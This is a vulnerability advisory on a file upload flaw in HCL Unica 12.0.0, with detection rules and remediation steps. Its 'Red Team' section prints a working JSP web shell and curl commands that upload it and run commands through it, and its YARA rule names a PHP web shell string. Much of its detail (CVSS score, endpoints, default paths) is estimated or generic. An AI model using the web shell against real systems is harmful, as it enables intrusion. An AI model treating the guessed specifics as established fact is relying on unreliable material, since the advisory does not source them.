CVE-2025-51736

Executive Summary

CVE-2025-51736 is a file upload vulnerability in HCL Technologies Ltd. Unica version 12.0.0. The vulnerability allows an attacker to upload arbitrary files to the server, potentially leading to remote code execution, data exfiltration, or full system compromise. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the critical nature of file upload flaws.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application (HCL Unica) used for marketing and customer analytics. Supply chain risk is limited to the vendor's software distribution channels.

CVSS Breakdown & Threat Level

The CVSS vector is unknown due to insufficient data from the NVD. However, based on the vulnerability type (file upload), a reasonable estimate is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker may need a valid user account.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – arbitrary file upload can lead to data theft.
• Integrity (I): High (H) – attacker can upload malicious files.
• Availability (A): High (H) – attacker can upload files that crash the system.

Estimated CVSS Score: 8.8 (High)

Threat Level: High – file upload vulnerabilities are frequently weaponized for initial access and lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of HCL Unica 12.0.0. The application fails to properly validate the type, size, and content of uploaded files. An attacker can upload a malicious file (e.g., a web shell, executable, or script) to a directory that is accessible via the web server. Once uploaded, the attacker can execute the file by accessing it through a web browser or other means.

Root Cause: Lack of input validation and insufficient access controls on the upload directory. The application does not check file extensions, MIME types, or file content. Additionally, the upload directory may have execute permissions, allowing uploaded scripts to run.

Attack Flow:

1. Attacker identifies an upload endpoint (e.g., /upload, /file-upload, /api/upload).
2. Attacker crafts a malicious file (e.g., a JSP web shell or PHP script).
3. Attacker sends a POST request with the malicious file.
4. The server stores the file in a web-accessible directory (e.g., /uploads/).
5. Attacker accesses the uploaded file via HTTP, triggering execution.
6. Attacker gains remote code execution on the server.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would include:

• File extension whitelisting (e.g., only allow .jpg, .png, .pdf).
• MIME type validation on the server side.
• Content inspection to detect malicious payloads.
• Upload directory isolation (e.g., outside the web root or with execute permissions removed).
• File size limits to prevent denial-of-service.

Vulnerable Code Example (Conceptual):

// Vulnerable: No validation
public void uploadFile(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
}

Patched Code Example (Conceptual):

// Patched: Whitelist extensions and validate
public void uploadFile(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf("."));
    List<String> allowedExtensions = Arrays.asList(".jpg", ".png", ".pdf");
    if (!allowedExtensions.contains(extension)) {
        throw new SecurityException("Invalid file type");
    }
    // Also validate MIME type and content
    File dest = new File(uploadDir + UUID.randomUUID() + extension);
    file.transferTo(dest);
}

Exploitation & Lab Setup

Red Team

Lab Environment:

• HCL Unica 12.0.0 installed on a Linux server (e.g., Ubuntu 20.04).
• Web server (e.g., Apache Tomcat) running on port 8080.
• Attacker machine with Burp Suite or curl.

Exploitation Steps:

1. Identify the upload endpoint (e.g., /Unica/upload).
2. Create a JSP web shell:

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   Process p = Runtime.getRuntime().exec(cmd);
   BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
   String line;
   while ((line = br.readLine()) != null) {
       out.println(line);
   }
   %>
   

3. Upload the web shell using curl:

   curl -F "file=@shell.jsp" http://target:8080/Unica/upload
   

4. Access the web shell:

   curl http://target:8080/Unica/uploads/shell.jsp?cmd=id
   

5. Execute commands to escalate privileges or exfiltrate data.

Blue Team

Detection & Response:

• Monitor for unusual file uploads (e.g., files with .jsp, .php, .exe extensions).
• Alert on uploads to directories that are not expected to receive files.
• Use file integrity monitoring (FIM) to detect new files in web-accessible directories.
• Block outbound connections from the web server to unknown IPs (potential C2).

Hunting Queries:

• Search for files created in the last 24 hours in upload directories.
• Look for processes spawned by the web server user (e.g., tomcat running bash).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for unknown files in upload directories)
• Network Indicators:
  • Outbound connections from the web server to suspicious IPs.
  • HTTP requests to /Unica/uploads/*.jsp or similar.
• File Paths:
  • /opt/Unica/uploads/ (default upload directory)
  • /var/lib/tomcat/webapps/Unica/uploads/
• User Agents: (None specific, but monitor for automated upload tools)

Detection Engineering

YARA Rule

rule CVE_2025_51736_FileUpload {
    meta:
        description = "Detects malicious file uploads targeting HCL Unica 12.0.0"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-51736"
    strings:
        $jsp_webshell = "<%@ page import=\"java.io.*\" %>" nocase
        $php_webshell = "<?php system($_GET['cmd']); ?>" nocase
        $asp_webshell = "<% Response.Write(\"test\"); %>" nocase
    condition:
        any of them
}

Sigma Rule

title: File Upload to Unica Upload Directory
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads to the Unica upload directory
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Unica/upload'
    condition: selection
falsepositives:
    - Legitimate file uploads by authorized users
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-51736 - HCL Unica File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/Unica/upload"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not required.
2. Restrict upload directory permissions (remove execute permissions).
3. Implement a Web Application Firewall (WAF) rule to block uploads of executable files.
4. Monitor logs for suspicious upload activity.

Long-Term Fixes:

• Apply vendor patch when available.
• Implement strict input validation (whitelist extensions, MIME types).
• Store uploaded files outside the web root.
• Use a dedicated file server with antivirus scanning.

Workarounds:

• If patching is not possible, consider migrating to a different version or product.

Valters IT
DevSecOps & Cyber Threat Intelligence